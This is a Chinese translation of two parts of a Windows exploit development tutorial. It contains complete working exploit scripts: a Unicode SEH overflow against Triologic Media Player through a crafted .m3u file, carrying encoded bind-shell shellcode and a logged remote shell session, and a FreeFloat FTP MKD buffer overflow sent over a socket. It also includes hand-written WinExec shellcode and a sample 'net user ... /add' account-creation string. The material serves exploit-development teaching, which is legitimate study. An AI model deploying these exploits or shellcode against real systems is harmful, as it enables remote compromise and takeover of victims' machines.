buffer = "\x90"*536 + "C"*2 + "D"2 + "B"*4462


重新打开这个POC, shift+f9忽略初始异常后, 可以看到eip被DD’s覆写(DD=0x4444由于unicode变成0x00440044). 继续下去之前我需要解释几件事. 一般上基于SEH的利用我们想要(1)找一个指向pop pop retn 的指针 (2)nSEH写入短跳转指令跳过SEH. 如果你还不了解这些我建议你看本系列教程的第三部分. Unicode SEH利用略有不同. 我们会用pop pop retn 覆写SEH但不可能用短跳转指令覆写Nseh.

继续之前我们看看unicode指令是如何对齐的

ASCII   ==> ...AAAA...
Unicode ==> ...0041004100410041...

But lets see what this looks like when it gets translated to instructions:
...
41         INC ECX
004100     ADD BYTE PTR DS:[ECX],AL
41         INC ECX
004100     ADD BYTE PTR DS:[ECX],AL
...

So this is very very interesting! It seems like one byte will remain intact and the following byte will 
"absorb" both 00's. What we will want to do is replace this second byte with an instruction that, when 
executed, will be harmless (FYI 0x004100 is not a harmless instruction). You might call this a unicode NOP
or Venetian Shellcode since canceling out 00's is similar to closing Venetian blinds. There are a couple 
of candidates to absorb these 00's (these won't always be suitable):

006E00     ADD BYTE PTR DS:[ESI],CH
006F00     ADD BYTE PTR DS:[EDI],CH
007000     ADD BYTE PTR DS:[EAX],DH
007100     ADD BYTE PTR DS:[ECX],DH
007200     ADD BYTE PTR DS:[EDX],DH
007300     ADD BYTE PTR DS:[EBX],DH


回到Nseh, 既然不能覆写短跳转指令, 那么就用一些无害指令替换, 执行后不会破坏我们的缓冲区. 像下面这样：

nSEH = "\x41\x71" 
SEH = ?????
buffer = "\x90"*536 + "\x41\x71" + "D"2 + "B"*4462


还剩两个问题

(1)找一条unicode兼容的pop pop retn指令地址替换SEH 

(2)这个地址同样应该是无害的(=头痛). 幸运的是我们可以让Mona帮助我们找到合适的地址. 看下面的截图：



我测试了所有11条指针只有一条是合适的.

Pointer: 0x004100f2 : pop esi # pop ebx # ret 04 | startnull,unicode {PAGE_EXECUTE_READWRITE} [triomp8.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v8.0.0.0 (C:\Program Files\Triologic\Triologic Media Player\triomp8.exe)
Buffer: buffer = "\x90"*536 + "\x41\x71" + "\xF2\x41" + "B"*4462


下面两个截图显示执行到pop pop retn并返回, 重新整理下POC





#!/usr/bin/python -w
 
filename="evil.m3u"
 
#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41       INC ECX                   #
#                    0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:      PREFIX REPNE:             #
#                    0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"
 
boom = SEH #more to come
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()


我们已经成功绕过unicode SEH结构. 深吸一口气,拍拍自己的背呵呵, 如果你还不理解这些内容的话我建议你看看Phrack的文章, corelan的unicode教程也值得一读.

布置Shellcode

一般来说把Shellcode布置在SEH后面, 漏洞利用就算结束了. 然而, 由于unicode的原因, 这里会有一点不同. 由于unicode, 我们需要确保程序从我们Shellcode的第一个字节开始执行, 我们需要手工一个CPU指向我们Shellcode的开始地址.

你需要做下面两件事之一:

(1)找一个最接近我们缓冲区的寄存器然后通过增加/减小一些值使得它指向缓冲区的起始地址(也就是Shellcode的地址) 

(2在堆栈找一个指向我们缓冲区的地址, 通过pop送到EIP最终会转去执行我们的Shellcode.

在这个例子我选择第一种方法. 看了一下我发现有几个寄存器都指向接近我们的缓冲区. 最后我决定使用EBP寄存器. 下面是EBP的截图：



考虑到没有对齐EBP到NOP’s(缓冲区起始地址). 经过计算我猜测增加2300字节可以使EBP指向正确的位置.(十六机制就是EBP+0x900). 然而这似乎不奏效. 如果尝试的结果不对, 那么继续努力. 努力一番后我发现770字节就可以(十六进制就是EBP+0x300). 我不知道为什么, 如果谁知道请给我发邮件. 

是时候来对齐寄存器了. 像之前我们用uncide NOP’s吸收多余的00’s

"\x55"               #push the value of EBP on to the stack
"\x71"               #Venetian Padding
"\x58"               #take the value of EBP and pop it into EAX
"\x71"               #Venetian Padding
"\x05\x20\x11"       #add eax,0x11002000  \
"\x71"               #Venetian Padding     |> the net sum will add 300 to the value in EAX
"\x2d\x17\x11"       #sub eax,0x11001700  /
"\x71"               #Venetian Padding
"\x50"               #push the new value of EAX onto the stack (points to our buffer)
"\x71"               #Venetian Padding
"\xC3"               #redirect execution flow to the pointer at the top of the stack ==> EAX


好的, 这应该足够了. 下面是新的POC和执行结果



#!/usr/bin/python -w
 
filename="evil.m3u"
 
#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41       INC ECX                   #
#                    0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:      PREFIX REPNE:             #
#                    0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"
 
#-----------------------Alignment-----------------------#
#After we step through nSEH and SEH if look at the dump #
#of the CPU registers we can see several which are close#
#to our Shellcode, I chose EBP. Time for some Venetian  #
#Black-Magic alignment...                               #
#-------------------------------------------------------#
align = (
"\x55"                      #push EBP   
"\x71"                      #Venetian Padding
"\x58"                      #pop EAX
"\x71"                      #Venetian Padding
"\x05\x20\x11"              #add eax,0x11002000  \
"\x71"                      #Venetian Padding     |> +300
"\x2d\x17\x11"              #sub eax,0x11001700  /
"\x71"                      #Venetian Padding
"\x50"                      #push EAX
"\x71"                      #Venetian Padding
"\xC3")                     #RETN
 
boom = SEH + align
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()


一切正如所料. EAX指向我们的缓冲区, 现在需要填充我们的缓冲区以便EAX直接指向我们Shellcode. 

你可以用metasploit模式字符串, 但我这直接手工计算了. 下面是最后阶段的POC:

#!/usr/bin/python -w
 
filename="evil.m3u"
 
#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41       INC ECX                   #
#                    0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:      PREFIX REPNE:             #
#                    0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"
 
#-----------------------Alignment-----------------------#
#After we step through nSEH and SEH if look at the dump #
#of the CPU registers we can see several which are close#
#to our Shellcode, I chose EBP. Time for some Venetian  #
#Black-Magic alignment...                               #
#-------------------------------------------------------#
align = (
"\x55"                      #push EBP   
"\x71"                      #Venetian Padding
"\x58"                      #pop EAX
"\x71"                      #Venetian Padding
"\x05\x20\x11"              #add eax,0x11002000  \
"\x71"                      #Venetian Padding     |> +300
"\x2d\x17\x11"              #sub eax,0x11001700  /
"\x71"                      #Venetian Padding
"\x50"                      #push EAX
"\x71"                      #Venetian Padding
"\xC3")                     #RETN
 
#We need to pad our buffer to the place of our alignment in EAX
filler = "\x58"*117
 
Shellcode = (
)
 
boom = SEH + align + filler + Shellcode
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()


Shellcode+游戏结束

到这里游戏真的结束了. 现在只需生成一些unicode兼容的Shellcode. 感谢SkyLined所做的工作. 使得生成unicode兼容Shellcode很轻松. 你可以在这里获得alpha2编码器：这里. 下载C代码并用gcc编译. 下面是产生Shellcode的语法：

root@bt:/pentest/alpha2# msfpayload -l
[...snip...]
windows/SEHll/reverse_tcp_dns    Connect back to the attacker, Spawn a piped command SEHll (staged)
windows/SEHll_bind_tcp           Listen for a connection and spawn a command SEHll
windows/SEHll_bind_tcp_xpfw      Disable the Windows ICF, then listen for a connection and spawn a 
                                 command SEHll[...snip...]

root@bt:/pentest/alpha2# msfpayload windows/SEHll_bind_tcp O

       Name: Windows Command SEHll, Bind TCP Inline
     Module: payload/windows/SEHll_bind_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 341
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LPORT     4444             yes       The listen port
RHOST                      no        The target address

Description:
  Listen for a connection and spawn a command SEHll
  
root@bt:/pentest/alpha2# msfpayload windows/SEHll_bind_tcp LPORT=9988 R > bindSEHll9988.raw

root@bt:/pentest/alpha2# ./alpha2 eax --unicode --uppercase < bindSEHll9988.raw
PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1
AYAZBABABABAB30APB944JBKLK8CYKPM0KPQP59ZEP18RQTTKQBNP4KQBLLTK0RLTDKCBMXLOWGOZO6NQKONQ7PVLOLC13LKRNLO0GQHOL
MKQY7YRL022R74KPRLP4KPBOLKQJ0TKOPSHSU7PD4OZKQ8PPPTKQ8LX4KQHO0M1ICJCOLOYTK04TKM1YFP1KONQ7P6L7QXOLMKQ7W08K0R
UZTM33ML8OKCMO4SEYRQHTKPXO4KQICQV4KLLPK4KR8MLKQHSTKKT4KKQJ0SYOTO4NDQKQK1Q0Y1JPQKOIPB8QOQJTKMBJKTFQM38NSOBK
PKPQXBWBSNRQOB4QXPLBWN***KO8UWHDPM1KPKPNIWTPTPPBHO9SPRKKPKOJ50P20PP0P10PP10R0S89ZLOIOYPKO9EE9XGNQ9K1CRHM2K
PNGKTTIK61ZLP0V0WBH7RYKOGS7KOXU0SPWQX7GIYOHKOKOZ50SB3R7C83DZLOKK1KO8UQGTIGWS8RURN0M1QKO8URHRC2MQTKPTIK31G0
WPWNQL6QZMBR9R6JBKM1VY7OTMTOLM1KQTMOTO4N096KPQ4B4PPQF0VPVOV26PNB6R6B3QF1X3IHLOO3VKOHUTIK00NR6PFKONP38LHU7M
MQPKOXUGKJPGEVBPV38G6F5GM5MKOXUOLLF3LKZCPKKIPBUM57KOWMCSBRO2JM0PSKO9EA


编码Shellcode的时候注意指定适当的寄存器. 增加一些注释, 最后的POC如下：

#!/usr/bin/python -w
 
#-------------------------------------------------------------------------------#
# Exploit: Triologic Media Player 8 (.m3u) SEH Unicode                          #
# Author: b33f (Ruben Boonen) - http://www.fuzzysecurity.com/                   #
# OS: WinXP PRO SP3                                                             #
# Software: http://download.cnet.com/Triologic-Media-Player/                    #
#           3000-2139_4-10691520.html                                           #
#-------------------------------------------------------------------------------#
# This exploit was created for Part 5 of my Exploit Development tutorial        #
# series - http://www.fuzzysecurity.com/tutorials/expDev/5.html                 #
#-------------------------------------------------------------------------------#
# root@bt:/pentest/alpha2# nc -nv 192.168.111.128 9988                          #
# (UNKNOWN) [192.168.111.128] 9988 (?) open                                     #
# Microsoft Windows XP [Version 5.1.2600]                                       #
# (C) Copyright 1985-2001 Microsoft Corp.                                       #
#                                                                               #
# C:\Documents and Settings\Administrator\Desktop>                              #
#-------------------------------------------------------------------------------#
 
filename="evil.m3u"
 
#---------------------SEH-Structure---------------------#
#nSEH => \x41\x71 => 41       INC ECX                   #
#                    0071 00  ADD BYTE PTR DS:[ECX],DH  #
#SEH =>  \xF2\x41 => F2:      PREFIX REPNE:             #
#                    0041 00  ADD BYTE PTR DS:[ECX],AL  #
#-------------------------------------------------------#
#0x004100f2 : pop esi # pop ebx # ret 04 | triomp8.exe  #
#-------------------------------------------------------#
SEH = "\x41\x71" + "\xF2\x41"
 
#-----------------------Alignment-----------------------#
#After we step through nSEH and SEH if look at the dump #
#of the CPU registers we can see several which are close#
#to our Shellcode, I chose EBP. Time for some Venetian  #
#Black-Magic alignment...                               #
#-------------------------------------------------------#
align = (
"\x55"                      #push EBP   
"\x71"                      #Venetian Padding
"\x58"                      #pop EAX
"\x71"                      #Venetian Padding
"\x05\x20\x11"              #add eax,0x11002000  \
"\x71"                      #Venetian Padding     |> +300
"\x2d\x17\x11"              #sub eax,0x11001700  /
"\x71"                      #Venetian Padding
"\x50"                      #push EAX
"\x71"                      #Venetian Padding
"\xC3")                     #RETN
 
#We need to pad our buffer to the place of our alignment in EAX
filler = "\x58"*117
 
#---------------------------------------Shellcode---------------------------------------------#
#root@bt:/pentest/alpha2# msfpayload windows/SEHll_bind_tcp LPORT=9988 R > bindSEHll9988.raw  #
#root@bt:/pentest/alpha2# ./alpha2 eax --unicode --uppercase < bindSEHll9988.raw              #
#---------------------------------------------------------------------------------------------#
Shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1"
"AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA"
"BAB30APB944JBKLK8CYKPM0KPQP59ZEP18RQTTKQBNP4KQBLLTK0RLTDKC"
"BMXLOWGOZO6NQKONQ7PVLOLC13LKRNLO0GQHOLMKQY7YRL022R74KPRLP4"
"KPBOLKQJ0TKOPSHSU7PD4OZKQ8PPPTKQ8LX4KQHO0M1ICJCOLOYTK04TKM"
"1YFP1KONQ7P6L7QXOLMKQ7W08K0RUZTM33ML8OKCMO4SEYRQHTKPXO4KQI"
"CQV4KLLPK4KR8MLKQHSTKKT4KKQJ0SYOTO4NDQKQK1Q0Y1JPQKOIPB8QOQ"
"JTKMBJKTFQM38NSOBKPKPQXBWBSNRQOB4QXPLBWN***KO8UWHDPM1KPKPN"
"IWTPTPPBHO9SPRKKPKOJ50P20PP0P10PP10R0S89ZLOIOYPKO9EE9XGNQ9"
"K1CRHM2KPNGKTTIK61ZLP0V0WBH7RYKOGS7KOXU0SPWQX7GIYOHKOKOZ50"
"SB3R7C83DZLOKK1KO8UQGTIGWS8RURN0M1QKO8URHRC2MQTKPTIK31G0WP"
"WNQL6QZMBR9R6JBKM1VY7OTMTOLM1KQTMOTO4N096KPQ4B4PPQF0VPVOV2"
"6PNB6R6B3QF1X3IHLOO3VKOHUTIK00NR6PFKONP38LHU7MMQPKOXUGKJPG"
"EVBPV38G6F5GM5MKOXUOLLF3LKZCPKKIPBUM57KOWMCSBRO2JM0PSKO9EA")
 
boom = SEH + align + filler + Shellcode
buffer = "\x90"*536 + boom + "B"*(4466-len(boom))
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()


下图可以看到EAX精确指向我们的Shellcode, 打开POC后再

netstat –an

可以看到binshell正在监听, 游戏结束！！





root@bt:/pentest/alpha2# nc -nv 192.168.111.128 9988
(UNKNOWN) [192.168.111.128] 9988 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.128
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 

C:\Documents and Settings\Administrator\Desktop>









第六部分：WIN32 shellcode编写

前言

欢迎继续！以前我们都是用现成的shellcode, 今天我们将从头开始写我们自己的shellcode. 这是一个十分有用的练习, 两个原因:

(1)如果有一个漏洞有严重的空间限制 

(2)理解ROP(返回导向编程)的好办法

为了加快速度我决定使用第一部分为 "FreeFloat FTP"写的漏洞利用框架. 你还需要一个叫”Arwin”的软件, 他可以在指定dll文件找到函数的绝对地址. 下面是所有本节的相关信息(C源码和编译版本)

利用环境：Backtrack 5

调试机器：Windows XP PRO SP3

坏字符：”\x00\x0a\x0d”

漏洞软件：下载

Arwin+源码：arwin.rar

介绍

开始之前我想先说几件事. 首先我们的写的shellcode基于特定的操作系统(我选择Win XP SP3). 其次需要操作系统dll文件没有基地址随机化(ASLR)才可行. 再有就是Google+MSDN是你最后的朋友. 最后就是写win32 shellcode实际上比听起来更容易，不要气馁.

我们将要写两个payload 

(1)弹计算器 

(2)MessageBox弹消息框 

首先我们需要了解这两个API的功能 (1)WinExec (2)MessageBoxA.

先看看用metasploit框架生成的shellcode长啥样(注意大小). 别忘了对shellcode编码以避免坏字符.

(1)  WinExec:弹计算器

root@bt:~# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0A\x0D' -t c[*] x86/shikata_ga_nai succeeded with size 227 (iteration=1)

unsigned char buf[] = 
"\xd9\xec\xd9\x74\x24\xf4\xb8\x28\x1f\x44\xde\x5b\x31\xc9\xb1"
"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf"
"\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93"
"\x99\x1c\x3d\x27\xef\x88\x32\x80\x5a\xef\x7d\x11\x6b\x2f\xd1"
"\xd1\xed\xd3\x2b\x06\xce\xea\xe4\x5b\x0f\x2a\x18\x93\x5d\xe3"
"\x57\x06\x72\x80\x25\x9b\x73\x46\x22\xa3\x0b\xe3\xf4\x50\xa6"
"\xea\x24\xc8\xbd\xa5\xdc\x62\x99\x15\xdd\xa7\xf9\x6a\x94\xcc"
"\xca\x19\x27\x05\x03\xe1\x16\x69\xc8\xdc\x97\x64\x10\x18\x1f"
"\x97\x67\x52\x5c\x2a\x70\xa1\x1f\xf0\xf5\x34\x87\x73\xad\x9c"
"\x36\x57\x28\x56\x34\x1c\x3e\x30\x58\xa3\x93\x4a\x64\x28\x12"
"\x9d\xed\x6a\x31\x39\xb6\x29\x58\x18\x12\x9f\x65\x7a\xfa\x40"
"\xc0\xf0\xe8\x95\x72\x5b\x66\x6b\xf6\xe1\xcf\x6b\x08\xea\x7f"
"\x04\x39\x61\x10\x53\xc6\xa0\x55\xab\x8c\xe9\xff\x24\x49\x78"
"\x42\x29\x6a\x56\x80\x54\xe9\x53\x78\xa3\xf1\x11\x7d\xef\xb5"
"\xca\x0f\x60\x50\xed\xbc\x81\x71\x8e\x23\x12\x19\x7f\xc6\x92"
"\xb8\x7f";


(2)  MessageBoxA:弹出一个标题是”b33f”内容是”Pop the box!”的消息框

root@bt:~# msfpayload windows/messagebox TEXT='Pop the box!' TITLE=b33f R| msfencode -b 
'\x00\x0A\x0D' -t c[*] x86/shikata_ga_nai succeeded with size 287 (iteration=1)

unsigned char buf[] = 
"\xb8\xe0\x20\xa7\x98\xdb\xd1\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x42\x31\x42\x12\x83\xc2\x04\x03\xa2\x2e\x45\x6d\xfb\xc4\x12"
"\x57\x8f\x3e\xd1\x59\xbd\x8d\x6e\xab\x88\x96\x1b\xba\x3a\xdc"
"\x6a\x31\xb1\x94\x8e\xc2\x83\x50\x24\xaa\x2b\xea\x0c\x6b\x64"
"\xf4\x05\x78\x23\x05\x37\x81\x32\x65\x3c\x12\x90\x42\xc9\xae"
"\xe4\x01\x99\x18\x6c\x17\xc8\xd2\xc6\x0f\x87\xbf\xf6\x2e\x7c"
"\xdc\xc2\x79\x09\x17\xa1\x7b\xe3\x69\x4a\x4a\x3b\x75\x18\x29"
"\x7b\xf2\x67\xf3\xb3\xf6\x66\x34\xa0\xfd\x53\xc6\x13\xd6\xd6"
"\xd7\xd7\x7c\x3c\x19\x03\xe6\xb7\x15\x98\x6c\x9d\x39\x1f\x98"
"\xaa\x46\x94\x5f\x44\xcf\xee\x7b\x88\xb1\x2d\x31\xb8\x18\x66"
"\xbf\x5d\xd3\x44\xa8\x13\xaa\x46\xc5\x79\xdb\xc8\xea\x82\xe4"
"\x7e\x51\x78\xa0\xff\x82\x62\xa5\x78\x2e\x46\x18\x6f\xc1\x79"
"\x63\x90\x57\xc0\x94\x07\x04\xa6\x84\x96\xbc\x05\xf7\x36\x59"
"\x01\x82\x35\xc4\xa3\xe4\xe6\x22\x49\x7c\xf0\x7d\xb2\x2b\xf9"
"\x08\x8e\x84\xba\xa3\xac\x68\x01\x34\xac\x56\x2b\xd3\xad\x69"
"\x34\xdc\x45\xce\xeb\x03\xb5\x86\x89\x70\x86\x30\x7f\xac\x60"
"\xe0\x5b\x56\xf9\xfa\xcc\x0e\xd9\xdc\x2c\xc7\x7b\x72\x55\x36"
"\x13\xf8\xcd\x5d\xc3\x68\x5e\xf1\x73\x49\x6f\xc4\xfb\xc5\xab"
"\xda\x72\x34\x82\x30\xd6\xe4\xb4\xe6\x29\xda\x06\xc7\x85\x24"
"\x3d\xcf";


你可以试试上面的payload是否工作. 【译者注：用_asm{ lea eax,shellcode; jmp eax;}测试】是时候开始写我们自己的shellcode了.

Exploit框架

我决定用 "FreeFloat FTP" 验证我们编写的shellcode. 这个软件我们在第一部分曾写过漏洞利用程序. 首先我们看看这个软件的漏洞利用框架, 之前写的漏洞利用程序在下面：

#!/usr/bin/python
   
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)                                                 #
# OS: WinXP PRO SP3                                                                #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip               #
#----------------------------------------------------------------------------------#
 
import socket
import sys
 
shellcode = (
)
 
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D                                                           #
# 0x77c35459 : push esp #  ret  | msvcrt.dll                                       #
# shellcode at ESP => space 749-bytes                                              #
#----------------------------------------------------------------------------------#
 
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
 
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close


我们用这个框架验证接下来编写的shellcode. 只需要把我们写的shellcode放到shellcode变量即可. 下图可以看到控制EIP后执行到nop(也就是shellcode).



ASM && Opcode

编写shellcode必须要处理汇编和机器码(汇编指令的十六机制表示). 你需要了解汇编的基本知识(push, pop ,mov ,xor,等等), 毫无疑问, shellcode是用机器码写的, 可能你会问我怎么知道某条汇编指令的机器码是什么. 我会告诉你答案.

如果你在调试器某条指令下断, immunity提供了编辑指令功能. 很多时候immunity就像是字典. 下面的截图就是把汇编指令翻译为相对应的机器码.



WinExec

写WinExec 的shellcode之前, 我们需要了解这个函数, 它的参数. 你可以查阅MSDN得到相关信息.

WinExec：MSDN

仔细看看这个函数的信息, WinExec结构很简单, 包含三个参数(实际上是两个参数)：

Structure:                              Parameters:

UINT WINAPI WinExec(            =>      指向kernel32.dll的WinExec指针
  __in  LPCSTR lpCmdLine,       =>      ASCII字符串”calc.exe”
  __in  UINT uCmdShow           =>      0x00000001 (SW_SHOWNORMAL)
);


让我们看下第一个参数. 第一个参数是指向WinExec的指针, arwin可以帮助我们在没有aslr的WINXP找到这个指针. 在调试机器用终端打开arwin, 执行下面的命令:

arwin.exe kernel32.dll WinExec



接下来就是如何把ASCII字符串(在这个例子就是我们想要执行的命令)写入堆栈. 第一次做可能会有点困惑, 实际上并不难. 最好的理解方式是通过一个例子：

ASCII Text:                                             ASCII Text:
calc.exe                                                abcdefghijkl

Split Text into groups of 4 characters:                 Split Text into groups of 4 characters:
"calc"                                                  "abcd"
".exe"                                                  "efgh"
                                                        "ijkl"

Reverse the order of the character groups:              Reverse the order of the character groups:
".exe"                                                  "ijkl"
"calc"                                                  "efgh"
                                                        "abcd"

Look on google for a ASCII to hex converter             Look on google for a ASCII to hex converter
and convert each character while maintaining            and convert each character while maintaining
the order:                                              the order:
"\x2E\x65\x78\x65"                                      "\x69\x6A\x6B\x6C"
"\x63\x61\x6C\x63"                                      "\x65\x66\x67\x68"
                                                        "\x61\x62\x63\x64"

To write these values to the stack simply add           To write these values to the stack simply add
"\x68" infront of each group:                           "\x68" infront of each group:
"\x68\x2E\x65\x78\x65" => PUSH ".exe"                   "\x68\x69\x6A\x6B\x6C" => PUSH "ijkl"
"\x68\x63\x61\x6C\x63" => PUSH "calc"                   "\x68\x65\x66\x67\x68" => PUSH "efgh"
                                                        "\x68\x61\x62\x63\x64" => PUSH "abcd"


这看来非常直截了当, 你可能注意到了我们的ASCII字符串是4字节对齐. 如果不是4字节对齐会怎么样呢？ 有相当多的办法处理这个问题, 我建议你读corelanc0d3r写的这篇文章. 通过扩展的阅读你能学到更多知识. 我会介绍其中一项技术, 看下面

ASCII Text:
net user b33f 1234 /add

Split Text into groups of 4 characters:
"net "
"user"
" b33"
"f 12"
"34 /"
"add"


可以看到add没有4字节对齐, 非常简单, 在它后面增加一个空格字符就可以了

"add "        => "\x68\x61\x64\x64\x20"        => PUSH "add "
"34 /"        => "\x68\x33\x34\x20\x2F"        => PUSH "34 /"
"f 12"        => "\x68\x66\x20\x31\x32"        => PUSH "f 12"
" b33"        => "\x68\x20\x62\x33\x33"        => PUSH " b33"
"user"        => "\x68\x75\x73\x65\x72"        => PUSH "user"
"net "        => "\x68\x6E\x65\x74\x20"        => PUSH "net "


最后我们需要push 1到堆栈, 这是WinExec的uCmdShow参数. 如果你不知道机器指令对应的机器码, 在调试里面打上push 1就可以看到了.

uCmdShow需要设置为 0x00000001 这有很多方式可以做到, 发挥你的想象力.我们这样做:

PUSH 1        => "\x6A\x01"     (ASCII "1" = "\x31")

(*) 另外一种思路, 这样也可以

xor eax,eax   (eax清0)
inc eax       (eax加1)
push eax      (把eax的值压栈)


综合

我们把这三个参数按照MSDN说明的顺序放到堆栈. 我两点需要注意：(1)由于栈是往地地址增长, 所以我们把最后一个参数先压栈 (2) lpCmdLine是我们要执行的命令字符串, 但WinExec需要的参数是指向命令字符串的指针.

下面这么做是错的:

"\x68\x2E\x65\x78\x65" => PUSH ".exe"          \  Push The ASCII string to the stack
"\x68\x63\x61\x6C\x63" => PUSH "calc"          /
"\x8B\xC4"             => MOV EAX,ESP          |  Put a pointer to the ASCII string in EAX
"\x6A\x01"             => PUSH 1               |  Push uCmdShow parameter to the stack
"\x50"                 => PUSH EAX             |  Push the pointer to lpCmdLine to the stack
"\xBB\xED\x2A\x86\x7C" => MOV EBX,7C862AED     |  Move the pointer to WinExec() into EBX
"\xFF\xD3"             => CALL EBX             |  Call WinExec()


上面这么做并不能成功. 我们看看执行这些指令会发生什么.





非常接近成功了, 但是注意到但WinExec使用lpCmdLine参数的时候它不知道参数在哪结束. 我们知道ASCII字符串是以\x00结束 的, 因此我们要给lpCmdLine \x00结束符.如下所示

这才是正确的方式:

We need "calc.exe" + "\x00"'s but we know that null-bytes are badcharacters however we can easily xor a 
register (which will then contain 4 null-bytes) and push it to the stack just before we push “calc.exe”.


"\x33\xc0"             => XOR EAX,EAX          |  Zero out EAX register
"\x50"                 => PUSH EAX             |  Push EAX to have null-byte padding for "calc.exe"
"\x68\x2E\x65\x78\x65" => PUSH ".exe"          \  Push The ASCII string to the stack
"\x68\x63\x61\x6C\x63" => PUSH "calc"          /  
"\x8B\xC4"             => MOV EAX,ESP          |  Put a pointer to the ASCII string in EAX
"\x6A\x01"             => PUSH 1               |  Push uCmdShow parameter to the stack
"\x50"                 => PUSH EAX             |  Push the pointer to lpCmdLine to the stack
"\xBB\xED\x2A\x86\x7C" => MOV EBX,7C862AED     |  Move the pointer to WinExec() into EBX
"\xFF\xD3"             => CALL EBX             |  Call WinExec()


这应该足够了！ 从下图可以看到参数布局是正确的. 执行这个代码将会弹出一个计算器.





#!/usr/bin/python
    
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)                                                 #
# OS: WinXP PRO SP3                                                                #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip               #
#----------------------------------------------------------------------------------#
  
import socket
import sys
  
#----------------------------------------------------------------------------------#
# (*) WinExec                                                                      #
# (*) arwin.exe => Kernel32.dll - WinExec 0x7C862AED                               #
# (*) MSDN Structure:                                                              #
#                                                                                  #
# UINT WINAPI WinExec(            => PTR to WinExec                                #
#   __in  LPCSTR lpCmdLine,       => calc.exe                                      #
#   __in  UINT uCmdShow           => 0x1                                           #
# );                                                                               #
#                                                                                  #
# Final Size => 26-bytes (metasploit version size => 227-bytes)                    #
#----------------------------------------------------------------------------------#
WinExec = (
"\x33\xc0"                          # XOR EAX,EAX
"\x50"                              # PUSH EAX      => padding for lpCmdLine
"\x68\x2E\x65\x78\x65"              # PUSH ".exe"
"\x68\x63\x61\x6C\x63"              # PUSH "calc"
"\x8B\xC4"                          # MOV EAX,ESP
"\x6A\x01"                          # PUSH 1
"\x50"                              # PUSH EAX
"\xBB\xED\x2A\x86\x7C"              # MOV EBX,kernel32.WinExec
"\xFF\xD3")                         # CALL EBX
  
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D                                                           #
# 0x77c35459 : push esp #  ret  | msvcrt.dll                                       #
# shellcode at ESP => space 749-bytes                                              #
#----------------------------------------------------------------------------------#
  
buffer = "\x90"*20 + WinExec
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
  
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close


MessageBoxA

接下来写MessageBoxA  shellcode, 先看看这个函数的参数. 

MessageBoxA：MSDN
